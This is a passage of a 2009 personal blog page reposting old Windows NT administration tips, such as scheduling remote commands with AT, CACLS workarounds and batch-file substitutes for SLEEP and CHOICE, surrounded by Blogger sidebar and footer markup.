<a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/httpwwwrobvanderwoudecomuserinputphp.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=646497703527650658&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='692701427430070629' itemprop='postId'/> <a name='692701427430070629'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://www.robvanderwoude.com/pmadmin.php#PMChoice'>http://www.robvanderwoude.com/pmadmin.php#PMChoice</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-692701427430070629' itemprop='description articleBody'> The Poor Man's Administrator Tools<br /><br />This page is dedicated to administrators tools and tips based on "native" and freeware utilities only.<br />Knowing these tools may prove extremely valuable when you're faced with problems "in the middle of nowhere", without your own set of utilities nearby.<br />NT<br /><br /> * Do you need a tool to remotely execute commands on any PC?<br /> You could of course use RCMD from the Microsoft Windows NT Server Resource Kit. Or, if "third party tools" are allowed, PSEXEC is an excellent RCMD replacement, available at SysInternals.com for free.<br /> Or you can use the AT command to schedule the command 2 minutes from now:<br /><br /> NET TIME \\remotePC /SET<br /> AT \\remotePC 10:02 "your command goes here"<br /><br /> If you prefer not to change your system time, download either PMSoon.bat or AtFuture.bat.<br /> PMSoon.bat will only work if the time difference between the two systems is 1 minute or less. It will display a warning message if the difference is greater.<br /> AtFuture.bat (a coproduction with Rob Fuller), intended for local use only, does not have this limitation.<br /> * Do you need to prevent login scripts from running on servers?<br /> Use NTRole (update: this utility is no longer available for download) to determine if the current "workstation" is actually a server or not.<br /> Some company policies do not allow third party tools, however.<br /> Of course, I wouldn't have mentioned NTRole here if I didn't have a "poor man's version" available: NTRole.bat.<br /> Download the ZIPped version.<br /> * Did you ever try to redirect or pipe CACLS' output in NT 4?<br /> If you ever installed an NT Service Pack, what you probably saw were the permissions without the user IDs or groups that those permissions belonged to.<br /> Instead of using XCACLS from the Microsoft Windows NT Server Resource Kit, extract CACLS from your original NT 4 CD-ROM and use that version whenever you need to redirect its output.<br /> XCACLS' /Y switch can be emulated by piping a Y to CACLS' standard input:<br /><br /> ECHO Y| CACLS .....<br /> Warning: Do not use the old CACLS version to set or change permissions if you have any NT 4 Service Pack applied.<br /> A safe way to prevent yourself from accidentally using the old version is to rename the old CACLS.EXE to OLDCACLS.EXE.<br /> * Disappointed because the CHOICE command wasn't implemented in NT? I know I was.<br /> You could buy yourself a copy of the Microsoft Windows NT Server or Workstation Resource Kit.<br /> Or you could download both PMChoice.bat and PMChoice.kix. The only missing part of this combination is that PMCHOICE does not accept redirected input, only keyboard input.<br /> * SHORTCUT.EXE from the Microsoft Windows NT Server or Workstation Resource Kit is a great tool to set or read a shortcut's properties.<br /> Many times, however, it is used just to read the path of a program file. In that case you may want to download Shortcut.bat, a batch file that uses internal commands only to read both the UNC and the fully qualified path from one or more shortcut files.<br /><br /> If you do need to create shortcuts, learn how to create shortcuts using INF files from this posting by Walter Zackery to the alt.msdos.batch.nt news group, and from this article by Daniel U. Thibault.<br /> * If you ever need to create a fixed time delay in a batch file, but you do not have a copy of SLEEP.EXE from the NT Resource Kit available, just download PMSleep.bat (for Windows NT/2000) or PMSlpW9x.bat (for Windows 95/98).<br /> These batch files use PING's -W switch to create a delay.<br /> The following example will create a 1 minute delay in Windows NT and 2000:<br /><br /> CALL PMSLEEP.BAT 60<br /><br /> Due to limitations in the MS-DOS 7 batch language, we need to add 1 to the number of seconds specified in Windows 95 and 98:<br /><br /> CALL PMSLPW9X.BAT 61<br /><br /> This Windows 9x example will wait for 60 seconds, not 61.<br /><br /> You may also choose to download the latest KiXtart version from www.kixtart.org and use its SLEEP function within your batch file.<br /> The following example will create a 1 minute delay:<br /><br /> ECHO $RC = SLEEP 60 > "%TEMP%.\SLEEP.KIX"<br /> KIX32.EXE "%TEMP%.\SLEEP.KIX"<br /> DEL "%TEMP%.\SLEEP.KIX"<br /><br /> This KiXtart script will work in all 32-bit Windows versions, as long as KiXtart is installed. <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/httpwwwrobvanderwoudecompmadminphppmcho.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/httpwwwrobvanderwoudecompmadminphppmcho.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-04T10:04:00+02:00'>10:04</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/httpwwwrobvanderwoudecompmadminphppmcho.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=692701427430070629&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> </div> <div class='blog-pager' id='blog-pager'> <span id='blog-pager-newer-link'> <a class='blog-pager-newer-link' href='http://thijstoday.blogspot.com/search?updated-max=2010-08-10T00:31:00%2B02:00&amp;max-results=20&amp;reverse-paginate=true' id='Blog1_blog-pager-newer-link' title='Newer Posts'>Newer Posts</a> </span> <span id='blog-pager-older-link'> <a class='blog-pager-older-link' href='http://thijstoday.blogspot.com/search?updated-max=2009-06-04T10:04:00%2B02:00&amp;max-results=20&amp;start=20&amp;by-date=false' id='Blog1_blog-pager-older-link' title='Older Posts'>Older Posts</a> </span> <a class='home-link' href='http://thijstoday.blogspot.com/'>Home</a> </div> <div class='clear'></div> <div class='blog-feeds'> <div class='feed-links'> Subscribe to: <a class='feed-link' href='http://thijstoday.blogspot.com/feeds/posts/default' target='_blank' type='application/atom+xml'>Posts (Atom)</a> </div> </div> </div></div> </div> <div id='sidebar-wrapper'> <div class='sidebar section' id='sidebar'><div class='widget HTML' data-version='1' id='HTML4'> <h2 class='title'>Where am I?</h2> <div class='widget-content'> <!-- Google Public Location Badge --> <iframe src="http://www.google.com/latitude/apps/badge/api?user=-8143020222761460861&type=iframe&maptype=hybrid&hl=nl" width="180" height="300" frameborder="0"></iframe> <!-- To disable location sharing, you *must* visit https://www.google.com/latitude/apps/badge and disable the Google Public Location badge. Removing this code snippet is not enough! --> </div> <div class='clear'></div> </div><div class='widget HTML' data-version='1' id='HTML1'> <h2 class='title'>Extra whotsits</h2> <div class='widget-content'> <form action="http://google.com/search" style="display:inline;" method="GET"><input name="q" size="13" type="text"/><input value="&#x272A;" type="submit"/><input value="thijstoday.blogspot.com" name="sitesearch" type="hidden"/></form> </div> <div class='clear'></div> </div><div class='widget BlogArchive' data-version='1' id='BlogArchive1'> <h2>Blog Archive</h2> <div class='widget-content'> <div id='ArchiveList'> <div id='BlogArchive1_ArchiveList'> <ul class='flat'> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2013_10_20_archive.html'>Oct 20</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2013_05_05_archive.html'>May 5</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2012_10_28_archive.html'>Oct 28</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2012_08_26_archive.html'>Aug 26</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2011_05_08_archive.html'>May 8</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2011_04_10_archive.html'>Apr 10</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2011_01_23_archive.html'>Jan 23</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2010_12_26_archive.html'>Dec 26</a> (2) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2010_12_19_archive.html'>Dec 19</a> (2) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2010_11_28_archive.html'>Nov 28</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2010_11_21_archive.html'>Nov 21</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2010_10_31_archive.html'>Oct 31</a> (2) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2010_08_22_archive.html'>Aug 22</a> (6) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2010_08_08_archive.html'>Aug 8</a> (23) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2010_08_01_archive.html'>Aug 1</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2010_07_25_archive.html'>Jul 25</a> (13) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_11_29_archive.html'>Nov 29</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_11_01_archive.html'>Nov 1</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_09_20_archive.html'>Sep 20</a> (3) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_09_13_archive.html'>Sep 13</a> (2) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_09_06_archive.html'>Sep 6</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_08_30_archive.html'>Aug 30</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_07_19_archive.html'>Jul 19</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_07_05_archive.html'>Jul 5</a> (2) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_06_14_archive.html'>Jun 14</a> (2) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_06_07_archive.html'>Jun 7</a> (5) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_05_31_archive.html'>May 31</a> (12) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_05_24_archive.html'>May 24</a> (9) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_05_03_archive.html'>May 3</a> (3) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_04_26_archive.html'>Apr 26</a> (8) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_04_19_archive.html'>Apr 19</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_04_12_archive.html'>Apr 12</a> (4) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_04_05_archive.html'>Apr 5</a> (6) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_03_29_archive.html'>Mar 29</a> (5) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_03_22_archive.html'>Mar 22</a> (10) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_03_15_archive.html'>Mar 15</a> (4) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_03_08_archive.html'>Mar 8</a> (6) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_03_01_archive.html'>Mar 1</a> (5) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_01_25_archive.html'>Jan 25</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2009_01_18_archive.html'>Jan 18</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2008_12_07_archive.html'>Dec 7</a> (15) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2008_11_16_archive.html'>Nov 16</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2008_11_09_archive.html'>Nov 9</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2008_10_19_archive.html'>Oct 19</a> (1) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2008_09_21_archive.html'>Sep 21</a> (4) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2008_09_14_archive.html'>Sep 14</a> (13) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2008_09_07_archive.html'>Sep 7</a> (7) </li> <li class='archivedate'> <a href='http://thijstoday.blogspot.com/2008_08_31_archive.html'>Aug 31</a> (13) </li> </ul> </div> </div> <div class='clear'></div> </div> </div><div class='widget LinkList' data-version='1' id='LinkList1'> <h2>also me</h2> <div class='widget-content'> <ul> <li><a href='http://dalhuijsen.com/'>dalhuijsen.com</a></li> <li><a href='http://www.facebook.com/srch.php?nm=thijs+dalhuijsen'>facebook</a></li> <li><a href='http://www.myspace.com/drkrimson'>Myspace</a></li> <li><a href='http://www.myspace.com/dkrimson'>Myspace music</a></li> <li><a href='http://twitter.com/tw/search/users?q=drkrimson'>twitter</a></li> </ul> <div class='clear'></div> </div> </div><div class='widget Subscribe' data-version='1' id='Subscribe1'> <div style='white-space:nowrap'> <h2 class='title'>Subscribe</h2> <div class='widget-content'> <div class='subscribe-wrapper subscribe-type-POST'> <div class='subscribe expanded subscribe-type-POST' id='SW_READER_LIST_Subscribe1POST' style='display:none;'> <div class='top'> <span class='inner' onclick='return(_SW_toggleReaderList(event, "Subscribe1POST"));'> <img class='subscribe-dropdown-arrow' src='https://resources.blogblog.com/img/widgets/arrow_dropdown.gif'/> <img align='absmiddle' alt='' border='0' class='feed-icon' src='https://resources.blogblog.com/img/icon_feed12.png'/> Posts </span> <div class='feed-reader-links'> <a class='feed-reader-link' href='https://www.netvibes.com/subscribe.php?url=http%3A%2F%2Fthijstoday.blogspot.com%2Ffeeds%2Fposts%2Fdefault' target='_blank'> <img src='https://resources.blogblog.com/img/widgets/subscribe-netvibes.png'/> </a> <a class='feed-reader-link' href='https://add.my.yahoo.com/content?url=http%3A%2F%2Fthijstoday.blogspot.com%2Ffeeds%2Fposts%2Fdefault' target='_blank'> <img src='https://resources.blogblog.com/img/widgets/subscribe-yahoo.png'/> </a> <a class='feed-reader-link' href='http://thijstoday.blogspot.com/feeds/posts/default' target='_blank'> <img align='absmiddle' class='feed-icon' src='https://resources.blogblog.com/img/icon_feed12.png'/> Atom </a> </div> </div> <div class='bottom'></div> </div> <div class='subscribe' id='SW_READER_LIST_CLOSED_Subscribe1POST' onclick='return(_SW_toggleReaderList(event, "Subscribe1POST"));'> <div class='top'> <span class='inner'> <img class='subscribe-dropdown-arrow' src='https://resources.blogblog.com/img/widgets/arrow_dropdown.gif'/> <span onclick='return(_SW_toggleReaderList(event, "Subscribe1POST"));'> <img align='absmiddle' alt='' border='0' class='feed-icon' src='https://resources.blogblog.com/img/icon_feed12.png'/> Posts </span> </span> </div> <div class='bottom'></div> </div> </div> <div class='subscribe-wrapper subscribe-type-COMMENT'> <div class='subscribe expanded subscribe-type-COMMENT' id='SW_READER_LIST_Subscribe1COMMENT' style='display:none;'> <div class='top'> <span class='inner' onclick='return(_SW_toggleReaderList(event, "Subscribe1COMMENT"));'> <img class='subscribe-dropdown-arrow' src='https://resources.blogblog.com/img/widgets/arrow_dropdown.gif'/> <img align='absmiddle' alt='' border='0' class='feed-icon' src='https://resources.blogblog.com/img/icon_feed12.png'/> All Comments </span> <div class='feed-reader-links'> <a class='feed-reader-link' href='https://www.netvibes.com/subscribe.php?url=http%3A%2F%2Fthijstoday.blogspot.com%2Ffeeds%2Fcomments%2Fdefault' target='_blank'> <img src='https://resources.blogblog.com/img/widgets/subscribe-netvibes.png'/> </a> <a class='feed-reader-link' href='https://add.my.yahoo.com/content?url=http%3A%2F%2Fthijstoday.blogspot.com%2Ffeeds%2Fcomments%2Fdefault' target='_blank'> <img src='https://resources.blogblog.com/img/widgets/subscribe-yahoo.png'/> </a> <a class='feed-reader-link' href='http://thijstoday.blogspot.com/feeds/comments/default' target='_blank'> <img align='absmiddle' class='feed-icon' src='https://resources.blogblog.com/img/icon_feed12.png'/> Atom </a> </div> </div> <div class='bottom'></div> </div> <div class='subscribe' id='SW_READER_LIST_CLOSED_Subscribe1COMMENT' onclick='return(_SW_toggleReaderList(event, "Subscribe1COMMENT"));'> <div class='top'> <span class='inner'> <img class='subscribe-dropdown-arrow' src='https://resources.blogblog.com/img/widgets/arrow_dropdown.gif'/> <span onclick='return(_SW_toggleReaderList(event, "Subscribe1COMMENT"));'> <img align='absmiddle' alt='' border='0' class='feed-icon' src='https://resources.blogblog.com/img/icon_feed12.png'/> All Comments </span> </span> </div> <div class='bottom'></div> </div> </div> <div style='clear:both'></div> </div> </div> <div class='clear'></div> </div><div class='widget HTML' data-version='1' id='HTML3'> <h2 class='title'>share</h2> <div class='widget-content'> <div><script type="text/javascript">var addthis_pub="4a1d158b22f539b6";</script> <a onmouseover="return addthis_open(this, '', '[URL]', '[TITLE]')" onmouseout="addthis_close()" href="http://www.addthis.com/bookmark.php?v=20" onclick="return addthis_sendto()"><img width="16" alt="Bookmark and Share" style="border:0" src="http://s7.addthis.com/static/btn/sm-plus.gif" height="16"/></a><script src="http://s7.addthis.com/js/200/addthis_widget.js" type="text/javascript"></script></div> </div> <div class='clear'></div> </div><div class='widget Feed' data-version='1' id='Feed1'> <h2>Packet Storm Security Last Files</h2> <div class='widget-content' id='Feed1_feedItemListDisplay'> <span style='filter: alpha(25); opacity: 0.25;'> <a href='http://packetstormsecurity.org/last.xml'>Loading...</a> </span> </div> <div class='clear'></div> </div><div class='widget AdSense' data-version='1' id='AdSense1'> <div class='widget-content'> <script type="text/javascript"><!-- google_ad_client="pub-1922521249916098"; google_ad_host="pub-1556223355139109"; google_ad_host_channel="00000"; google_alternate_ad_url="http://www.blogger.com/img/blogger_ad160x600.html"; google_ad_width=160; google_ad_height=600; google_ad_format="160x600_as"; google_ad_type="text_image"; google_color_border="FCFCFF"; google_color_bg="FCFCFF"; google_color_link="999999"; google_color_url="333333"; google_color_text="666666"; //--></script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script> <div class='clear'></div> </div> </div></div> </div> <!-- spacer for skins that want sidebar and main to be the same height--> <div class='clear'>&#160;</div> </div> <!-- end content-wrapper --> <div id='footer-wrapper'> <div class='footer section' id='footer'><div class='widget HTML' data-version='1' id='HTML2'> <div class='widget-content'> <script src="http://badge.facebook.com/badge/660579485.683.156998013.js"></script><noscript><a href="http://www.facebook.com/people/Thijs-Dalhuijsen/660579485">Thijs Dalhuijsen's Facebook profile</a></noscript> <!-- Include the Google Friend Connect javascript library. --> <script src="http://www.google.com/friendconnect/script/friendconnect.js" type="text/javascript"></script> <!-- Define the div tag where the gadget will be inserted. --> <div id="div-3230847841367770491" style="width:276px;border:1px solid #cccccc;"></div> <!-- Render the gadget into a div. --> <script type="text/javascript"> var skin = {}; skin['BORDER_COLOR'] = '#cccccc'; skin['ENDCAP_BG_COLOR'] = '#e0ecff'; skin['ENDCAP_TEXT_COLOR'] = '#333333'; skin['ENDCAP_LINK_COLOR'] = '#0000cc'; skin['ALTERNATE_BG_COLOR'] = '#ffffff'; skin['CONTENT_BG_COLOR'] = '#ffffff'; skin['CONTENT_LINK_COLOR'] = '#0000cc'; skin['CONTENT_TEXT_COLOR'] = '#333333'; skin['CONTENT_SECONDARY_LINK_COLOR'] = '#7777cc'; skin['CONTENT_SECONDARY_TEXT_COLOR'] = '#666666'; skin['CONTENT_HEADLINE_COLOR'] = '#333333'; skin['NUMBER_ROWS'] = '4'; google.friendconnect.container.setParentUrl('/' /* location of rpc_relay.html and canvas.html */); google.friendconnect.container.renderMembersGadget( { id: 'div-3230847841367770491', site: '01718312967030068480' }, skin); </script> </div> <div class='clear'></div> </div></div> <div class='thijsfooter'> <nobr><tt>map{ map{tr|10|# |;print} split//,sprintf"%.8b\n",$_}unpack'C*',unpack'u*',"5`#8<3'X`'#8^-@`<-CPP`#8V/C8`" <br/>All Rights Reserved, Copyright (C) 2008 Thijs Dalhuijsen </tt></nobr> </div> </div> </div></div> <!-- end outer-wrapper --> <script type="text/javascript" src="https://www.blogger.com/static/v1/widgets/3116488908-widgets.js"></script> <script type='text/javascript'> window['__wavt'] = 'AAPvtVnax-u0xFF2q1Zv053dDJ6N:1788681775173';_WidgetManager._Init('//www.blogger.com/rearrange?blogID\x3d8194035553301014782','//thijstoday.blogspot.com/search?updated-max\x3d2009-09-22T07:12:00-07:00','8194035553301014782'); _WidgetManager._SetDataContext([{'name': 'blog', 'data': {'blogId': '8194035553301014782', 'title': 'Thijs\x27 today', 'url': 'http://thijstoday.blogspot.com/search?updated-max\x3d2009-09-22T07:12:00-07:00', 'canonicalUrl': 'http://thijstoday.blogspot.com/search?updated-max\x3d2009-09-22T07:12:00-07:00', 'homepageUrl': 'http://thijstoday.blogspot.com/', 'searchUrl': 'http://thijstoday.blogspot.com/search', 'canonicalHomepageUrl': 'http://thijstoday.blogspot.com/', 'blogspotFaviconUrl': 'http://thijstoday.blogspot.com/favicon.ico', 'bloggerUrl': 'https://www.blogger.com', 'hasCustomDomain': false, 'httpsEnabled': true, 'enabledCommentProfileImages': true, 'gPlusViewType': 'FILTERED_POSTMOD', 'adultContent': false, 'analyticsAccountNumber': '', 'encoding': 'UTF-8', 'locale': 'en', 'localeUnderscoreDelimited': 'en', 'languageDirection': 'ltr', 'isPrivate': false, 'isMobile': false, 'isMobileRequest': false, 'mobileClass': '', 'isPrivateBlog': false, 'isDynamicViewsAvailable': true, 'feedLinks': '\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22Thijs\x26#39; today - Atom\x22 href\x3d\x22http://thijstoday.blogspot.com/feeds/posts/default\x22 /\x3e\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/rss+xml\x22 title\x3d\x22Thijs\x26#39; today - RSS\x22 href\x3d\x22http://thijstoday.blogspot.com/feeds/posts/default?alt\x3drss\x22 /\x3e\n\x3clink rel\x3d\x22service.post\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22Thijs\x26#39; today - Atom\x22 href\x3d\x22https://www.blogger.com/feeds/8194035553301014782/posts/default\x22 /\x3e\n', 'meTag': '', 'adsenseClientId': 'ca-pub-1922521249916098', 'adsenseHostId': 'ca-host-pub-1556223355139109', 'adsenseHasAds': true, 'adsenseAutoAds': false, 'boqCommentIframeForm': true, 'loginRedirectParam': '', 'view': '', 'dynamicViewsCommentsSrc': '//www.blogblog.com/dynamicviews/4224c15c4e7c9321/js/comments.js', 'dynamicViewsScriptSrc': '//www.blogblog.com/dynamicviews/0dc6a032bfda317b', 'plusOneApiSrc': 'https://apis.google.com/js/platform.js', 'disableGComments': true, 'interstitialAccepted': false, 'sharing': {'platforms': [{'name': 'Get link', 'key': 'link', 'shareMessage': 'Get link', 'target': ''}, {'name': 'Facebook', 'key': 'facebook', 'shareMessage': 'Share to Facebook', 'target': 'facebook'}, {'name': 'BlogThis!', 'key': 'blogThis', 'shareMessage': 'BlogThis!', 'target': 'blog'}, {'name': 'X', 'key': 'twitter', 'shareMessage': 'Share to X', 'target': 'twitter'}, {'name': 'Pinterest', 'key': 'pinterest', 'shareMessage': 'Share to Pinterest', 'target': 'pinterest'}, {'name': 'Email', 'key': 'email', 'shareMessage': 'Email', 'target': 'email'}], 'disableGooglePlus': true, 'googlePlusShareButtonWidth': 0, 'googlePlusBootstrap': '\x3cscript type\x3d\x22text/javascript\x22\x3ewindow.___gcfg \x3d {\x27lang\x27: \x27en\x27};\x3c/script\x3e'}, 'hasCustomJumpLinkMessage': false, 'jumpLinkMessage': 'Read more', 'pageType': 'index', 'pageName': '', 'pageTitle': 'Thijs\x27 today'}}, {'name': 'features', 'data': {}}, {'name': 'messages', 'data': {'edit': 'Edit', 'linkCopiedToClipboard': 'Link copied to clipboard!', 'ok': 'Ok', 'postLink': 'Post Link'}}, {'name': 'template', 'data': {'name': 'custom', 'localizedName': 'Custom', 'isResponsive': false, 'isAlternateRendering': false, 'isCustom': true}}, {'name': 'view', 'data': {'classic': {'name': 'classic', 'url': '?view\x3dclassic'}, 'flipcard': {'name': 'flipcard', 'url': '?view\x3dflipcard'}, 'magazine': {'name': 'magazine', 'url': '?view\x3dmagazine'}, 'mosaic': {'name': 'mosaic', 'url': '?view\x3dmosaic'}, 'sidebar': {'name': 'sidebar', 'url': '?view\x3dsidebar'}, 'snapshot': {'name': 'snapshot', 'url': '?view\x3dsnapshot'}, 'timeslide': {'name': 'timeslide', 'url': '?view\x3dtimeslide'}, 'isMobile': false, 'title': 'Thijs\x27 today', 'description': 'whatever I find on my pasteboard.', 'url': 'http://thijstoday.blogspot.com/search?updated-max\x3d2009-09-22T07:12:00-07:00', 'type': 'feed', 'isSingleItem': false, 'isMultipleItems': true, 'isError': false, 'isPage': false, 'isPost': false, 'isHomepage': false, 'isArchive': false, 'isSearch': true, 'isLabelSearch': false, 'search': {}}}]); _WidgetManager._RegisterWidget('_NavbarView', new _WidgetInfo('Navbar1', 'navbar', document.getElementById('Navbar1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HeaderView', new _WidgetInfo('Header1', 'header', document.getElementById('Header1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogView', new _WidgetInfo('Blog1', 'main', document.getElementById('Blog1'), {'cmtInteractionsEnabled': false, 'lightboxEnabled': true, 'lightboxModuleUrl': 'https://www.blogger.com/static/v1/jsbin/321315994-lbx.js', 'lightboxCssUrl': 'https://www.blogger.com/static/v1/v-css/828616780-lightbox_bundle.css'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML4', 'sidebar', document.getElementById('HTML4'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML1', 'sidebar', document.getElementById('HTML1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogArchiveView', new _WidgetInfo('BlogArchive1', 'sidebar', document.getElementById('BlogArchive1'), {'languageDirection': 'ltr', 'loadingMessage': 'Loading\x26hellip;'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList1', 'sidebar', document.getElementById('LinkList1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_SubscribeView', new _WidgetInfo('Subscribe1', 'sidebar', document.getElementById('Subscribe1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML3', 'sidebar', document.getElementById('HTML3'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_FeedView', new _WidgetInfo('Feed1', 'sidebar', document.getElementById('Feed1'), {'title': 'Packet Storm Security Last Files', 'showItemDate': false, 'showItemAuthor': false, 'feedUrl': 'http://packetstormsecurity.org/last.xml', 'numItemsShow': 5, 'loadingMsg': 'Loading...', 'openLinksInNewWindow': false, 'useFeedWidgetServ': 'true'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_AdSenseView', new _WidgetInfo('AdSense1', 'sidebar', document.getElementById('AdSense1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML2', 'footer', document.getElementById('HTML2'), {}, 'displayModeFull')); </script> </body> </html>